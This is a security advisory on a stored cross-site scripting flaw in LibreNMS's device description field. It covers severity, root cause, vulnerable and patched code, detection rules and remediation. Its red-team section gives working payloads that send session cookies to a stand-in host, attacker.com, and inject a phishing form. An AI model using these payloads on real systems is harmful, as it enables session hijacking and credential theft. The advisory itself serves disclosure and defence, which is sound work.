CVE-2025-23199

Executive Summary

CVE-2025-23199 is a stored cross-site scripting (XSS) vulnerability in LibreNMS, an open-source network monitoring platform. The flaw resides in the /ajax_form.php endpoint, specifically within the descr parameter. An authenticated attacker with the ability to create or edit devices can inject arbitrary JavaScript code. When other users (including administrators) view the affected device page, the injected script executes in their browser session. This can lead to session hijacking, data exfiltration, or unauthorized actions performed on behalf of the victim. The vulnerability affects all versions up to and including 24.10.1. The issue was patched in version 24.11.0. No public proof-of-concept or exploit code is currently available, and the EPSS score is 0.0%, indicating low exploitation activity at this time.

Supply Chain & Package Security

LibreNMS is a PHP-based application distributed via GitHub and Composer. The vulnerability is not in a third-party package but in the core application code. However, organizations using LibreNMS should verify the integrity of their installation and ensure no malicious modifications have been made. The patch is available in the official repository, and users should upgrade immediately.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 4.6 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – attacker needs a valid account with device creation/edit rights.
• User Interaction: Required (UI:R) – victim must view the malicious page.
• Scope: Changed (S:C) – the vulnerability can impact resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – limited data exposure possible.
• Integrity Impact: Low (I:L) – limited modification of data possible.
• Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is moderate, the potential for session hijacking and lateral movement within the monitoring environment elevates the risk for organizations using LibreNMS as a central management tool.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the LibreNMS web interface. The /ajax_form.php script is used for various AJAX operations, including adding or editing device descriptions. The descr parameter is not properly sanitized before being stored in the database and later rendered in the device view page.

Attack Flow:

1. An authenticated attacker with permissions to add or edit devices navigates to the device creation/edit form.
2. The attacker injects a malicious payload into the descr field, e.g., <script>alert('XSS')</script>.
3. The payload is stored in the LibreNMS database without sanitization.
4. When any user (including administrators) views the device page, the stored payload is rendered in the browser.
5. The injected script executes in the context of the victim's session, allowing the attacker to steal cookies, perform actions on behalf of the victim, or redirect to malicious sites.

Root Cause: Lack of output encoding and input validation on the descr parameter. The application does not use functions like htmlspecialchars() or a templating engine that auto-escapes output.

Vulnerable vs. Patched Code

Vulnerable Code (pre-24.11.0): In the file includes/html/forms/device-form.inc.php or similar, the descr parameter is directly stored and later echoed without sanitization.

// Vulnerable: direct assignment and output
$descr = $_POST['descr'];
// ... stored in database
// Later in device view:
echo "<td>" . $device['descr'] . "</td>";

Patched Code (24.11.0): The patched version applies output encoding using htmlspecialchars() or a similar function.

// Patched: output encoded
$descr = $_POST['descr'];
// ... stored in database
// Later in device view:
echo "<td>" . htmlspecialchars($device['descr'], ENT_QUOTES, 'UTF-8') . "</td>";

The patch ensures that any HTML or JavaScript in the descr field is rendered as text, not executed.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A valid LibreNMS account with permissions to add/edit devices.
• Network access to the LibreNMS web interface.

Exploitation Steps:

1. Log in to LibreNMS.
2. Navigate to "Devices" > "Add Device" or edit an existing device.
3. In the "Description" field, inject a payload such as:

   <script>new Image().src='http://attacker.com/steal.php?cookie='+document.cookie;</script>
   

4. Save the device.
5. Wait for an administrator or other user to view the device page.
6. The victim's browser sends their session cookie to the attacker's server.

Alternative Payloads:

• Session hijacking: <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script>
• Phishing: <script>document.body.innerHTML='<form method=post action=http://attacker.com/phish><input type=password name=pwd><input type=submit></form>';</script>

Blue Team

Detection:

• Monitor web server logs for suspicious descr parameters containing <script> tags or JavaScript event handlers.
• Use WAF rules to block common XSS patterns in POST requests to /ajax_form.php.
• Implement Content Security Policy (CSP) headers to mitigate impact.

Hunting:

• Search the LibreNMS database for stored XSS payloads:

  SELECT * FROM devices WHERE descr LIKE '%<script>%' OR descr LIKE '%onload=%';
  

• Review recent device additions/edits for anomalous descriptions.

Lab Setup:

• Install LibreNMS 24.10.1 in a controlled environment.
• Create a test user with device edit permissions.
• Use a browser with developer tools to craft the XSS payload.
• Set up a simple HTTP server to capture stolen cookies.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled domains from LibreNMS server.
  • POST requests to /ajax_form.php with descr parameter containing <script> tags.
• Host IOCs:
  • Entries in the devices table where descr contains JavaScript code.
  • Unusual entries in web server access logs (e.g., POST /ajax_form.php with encoded payloads).
• File IOCs:
  • Modified files in includes/html/forms/ if attacker attempts to patch the vulnerability themselves.

Detection Engineering

YARA Rule

rule CVE_2025_23199_LibreNMS_XSS {
    meta:
        description = "Detects stored XSS payloads in LibreNMS device descriptions"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-23199"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $event_handler = /on\w+\s*=\s*['"][^'"]*['"]/i
    condition:
        $xss_payload or $event_handler
}

Sigma Rule

title: CVE-2025-23199 LibreNMS Stored XSS Detection
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects attempts to exploit stored XSS in LibreNMS via descr parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/ajax_form.php'
        cs-uri-query|contains|all:
            - 'descr='
            - '<script'
    condition: selection
falsepositives:
    - Legitimate use of HTML in descriptions (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-23199 LibreNMS Stored XSS Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/ajax_form.php"; http_uri;
    content:"descr="; http_client_body;
    pcre:"/<script[^>]*>.*<\/script>/i";
    sid:10000001;
    rev:1;
    reference:cve,2025-23199;
    classtype:web-application-attack;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade LibreNMS to version 24.11.0 or later. This is the only complete fix.
2. If immediate upgrade is not possible, implement a Web Application Firewall (WAF) rule to block XSS patterns in the descr parameter.
3. Review all existing device descriptions for signs of XSS injection.

Long-Term Mitigations:

• Enforce strict Content Security Policy (CSP) headers to limit script execution.
• Implement input validation and output encoding for all user-supplied data.
• Conduct regular security audits of LibreNMS installations.
• Restrict device creation/edit permissions to trusted users only.

Workarounds:

• No official workaround exists. The vendor recommends upgrading.

Valters IT